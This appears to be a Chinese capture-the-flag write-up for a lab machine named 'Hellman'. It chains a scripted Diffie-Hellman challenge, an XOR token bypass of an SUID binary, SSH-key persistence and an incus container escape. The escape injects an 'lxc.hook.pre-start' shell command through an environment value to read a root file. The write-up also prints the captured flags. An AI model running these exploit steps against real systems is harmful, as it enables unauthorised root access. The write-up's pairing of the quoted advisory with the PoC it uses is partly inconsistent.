Hellman Writeup

题目描述

这是一个涉及 Diffie-Hellman 密钥交换、SUID 提权和容器逃逸的综合性渗透测试靶机，需要结合密码学知识、二进制分析和容器安全漏洞利用技术。

TL;DR

通过 1337 端口的 Diffie-Hellman 服务计算 500 轮共享密钥获得初始 shell；利用 SUID 二进制 secure_auth 的 XOR 加密提权至 water 用户；最后通过 incus 容器管理服务的 CVE-2026-23953 漏洞实现容器逃逸，获取 root 权限。

信息收集

端口扫描

```
rustscan -a $IP -- -sC -sV
```

```
PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 10.0 (protocol 2.0)
80/tcp   open  http    syn-ack ttl 63 nginx
|_http-title: Diffie-Hellman Challenge Guide
1337/tcp open  waste?  syn-ack ttl 63
| fingerprint-strings:
|   GenericLines, NULL:
|     Alice has sent you her public key.
|     You've also been given your private key.
|     calculate your shared secret.
```

关键点分析

Diffie-Hellman 密钥交换算法

该靶机在 1337 端口运行一个 Diffie-Hellman 密钥交换挑战服务，要求攻击者计算 500 轮共享密钥。Diffie-Hellman 是一种基于离散对数问题的密钥交换协议。使用 Python 的 pow 函数进行模幂运算

```
shared_secret = pow(A, b, p)
```

该挑战要求连续计算 500 轮共享密钥，每轮提供新的 b 和 A，但 p 保持不变。

XOR 加密与空字节绕过

在获取初始 shell 后，通过 linpeas.sh 发现 SUID 二进制文件 `/usr/bin/secure_auth`。

```
-rwsr-sr-x    1 root     root       18.3K Jan 23 16:08 /usr/bin/secure_aut
h (Unknown SUID binary!)
```

拿去 反编译 得到信息。该程序使用硬编码密钥进行 XOR 加密验证，存在空字节截断问题，可通过添加前置空格绕过。反编译得到的关键代码片段：

```
if ( !memcmp(s1, s2, v4) )
{
  puts("[+] Auth successful. Switching to UID 1002...");
  if ( setresgid(0x3EAu, 0x3EAu, 0x3EAu) ) // 0x3EA = 1002
    perror("setresgid failed");
  if ( setresuid(0x3EAu, 0x3EAu, 0x3EAu) ) // 0x3EA = 1002
    perror("setresuid failed");
  system(s);
}
```

程序工作流程：

1. 硬编码密钥：`key = "4b077130fw473r"`（14 字节）
2. 输入参数：`argv[1]`（要执行的命令）和 `argv[2]`（验证令牌）
3. XOR 运算：`xor_cipher` 函数将命令与密钥按位异或，结果存入 `s2`
4. 身份验证：`memcmp` 比较输入的令牌与计算出的 `s2`
5. 提权执行：匹配成功则将 UID/GID 设置为 1002（water 用户），并通过 `system()` 执行命令

绕过方案:

- 添加前置空格：`" /bin/sh"` 与密钥异或后不再产生空字节
- 计算 XOR 结果：`" /bin/sh"` 与 `"4b077130fw473r"` 异或得到令牌 `\x14\x4d\x52\x5e\x59\x1e\x40\x58`
- 最终利用命令：

  ```
  secure_auth " /bin/sh" "$(printf '\x14\x4d\x52\x5e\x59\x1e\x40\x58')"
  ```

容器逃逸（CVE-2026-23953）

在提权至 water 用户后，发现该系统运行 incus 容器管理服务。可利用 CVE-2026-23953 漏洞实现容器逃逸，获取宿主机 root 权限。

漏洞利用

Step 1: 初始访问

通过 1337 端口的 Diffie-Hellman 密钥交换挑战服务，计算 500 轮共享密钥，获得初始 shell。

```python
from pwn import *
import re

# Connection settings
HOST = 'hellman.dsz'
PORT = 1337

def solve():
    io = remote(HOST, PORT)

    # We need to persist p because the server only sends it once
    p = None

    try:
        for i in range(1, 501):
            # Receive until the input prompt
            data = io.recvuntil(b' > ').decode()

            # Extract p (only if we don't have it yet)
            if p is None:
                p_match = re.search(r'p = (\d+)', data)
                if p_match:
                    p = int(p_match.group(1))
                    print(f"[+] Captured Modulus p")

            # Extract b and A
            b_match = re.search(r'b = (\d+)', data)
            A_match = re.search(r'A = (\d+)', data)

            if b_match and A_match and p:
                b = int(b_match.group(1))
                A = int(A_match.group(1))

                # Modular exponentiation: s = A^b mod p
                shared_secret = pow(A, b, p)

                # Send the answer
                io.sendline(str(shared_secret).encode())

                if i % 50 == 0:
                    print(f"[+] Progress: {i}/500 rounds completed")
            else:
                print(f"[!] Parsing failed in round {i}")
                # If we fail to parse, print the data to see what happened
                print(f"Server data: {data}")
                break

        print("[!] 500 rounds finished. Switching to INTERACTIVE mode...")
        # Control is handed back to you here
        io.interactive()

    except EOFError:
```

```
            print("[-] Connection closed.")
        except Exception as e:
            print(f"[-] Error: {e}")
        finally:
            io.close()

    if __name__ == "__main__":
        solve()
```

Step 2: 用户权限获取

在 god 用户获取 user flag，并运行 linpeas.sh 发现 SUID 二进制文件。

```
Hellman:~$ cat user.txt
flag{user-c9461249ea2e074a338b82db919b3fb9}
```

```
-rwsr-sr-x    1 root     root       18.3K Jan 23 16:08 /usr/bin/secure_aut
h
```

发现: user flag 和 SUID 二进制文件 `/usr/bin/secure_auth`

Step 3: SUID 提权利用

利用 XOR 加密提权至 water 用户。

```
Hellman:~$ secure_auth " /bin/sh" "$(printf '\x14\x4d\x52\x5e\x59\x1e\x40
\x58')"
[+] Auth successful. Switching to UID 1002...
~ $ id
uid=1002(water) gid=1002(water) groups=1001(god)

~ $ ls -al
total 16
drwxr-sr-x    3 water    water         4096 Jan 27 22:20 .
drwxr-xr-x    4 root     root          4096 Jan 23 15:45 ..
-rw-------    1 water    water           80 Jan 27 22:23 .ash_history
~ $ cat .ash_history
incus
ls -l /var/lib/incus/unix.socket
addgroup god incus
exit
id
pwd
ls
```

```
ls -al
cat .ash_history
```

Step 4: 容器逃逸

water 用户拥有 incus 组权限，但 secure_auth 切换后未继承 incus 组。通过添加 SSH 公钥建立持久访问，然后利用 incus 容器服务。

```
# 添加 SSH 公钥
mkdir -p /home/water/.ssh
echo "ssh-rsa AAAAB3NzaC1yc2E..." > /home/water/.ssh/authorized_keys
chmod 600 /home/water/.ssh/authorized_keys
```

从 incus 入手 找到 CVE-2026-23953 和 CVE-2026-23954

其中 CVE-2026-23953 的 Summary 更符合场景：

```
A user with the ability to launch a container with a custom image **(e.g a
member of the 'incus' group)** can use directory traversal or symbolic lin
ks in the templating functionality to achieve host arbitrary file read, an
d host arbitrary file write, ultimately resulting in arbitrary command exe
cution on the host. This can also be exploited in IncusOS.
```

修改 CVE 下面的 POC 脚本 template_arbitrary_write.sh，利用漏洞获得 god 用户权限的 shell。

```
#!/bin/sh
set -x
ls -l /newline_injection_command_exec_poc

incus launch images:alpine/edge --ephemeral poc << EOF
config:
  environment.FOO: |-
    abc
    lxc.hook.pre-start = /bin/sh -c "cat /root/root.txt > /newline_injecti
on_command_exec_poc"
EOF

ls -l /newline_injection_command_exec_poc
cat /newline_injection_command_exec_poc

incus stop poc
```

```
```

```
Hellman:~$ ./exploit.sh
+ ls -l /newline_injection_command_exec_poc
-rw-r--r--    1 root     root            24 Jan 27 22:24 /newline_injectio
n_command_exec_poc
+ incus launch images:alpine/edge --ephemeral poc
Launching poc
+ ls -l /newline_injection_command_exec_poc
-rw-r--r--    1 root     root            44 Jan 27 22:27 /newline_injectio
n_command_exec_poc
+ cat /newline_injection_command_exec_poc
flag{root-da3397afd8ca24ea5bcaf7a2cb83b422}
+ incus stop poc
```

User Flag: `flag{user-c9461249ea2e074a338b82db919b3fb9}`.
Root Flag: `flag{root-da3397afd8ca24ea5bcaf7a2cb83b422}`.

参考资料

- CVE-2026-23953 POC: https://github.com/advisories/GHSA-x6jc-phwx-hp32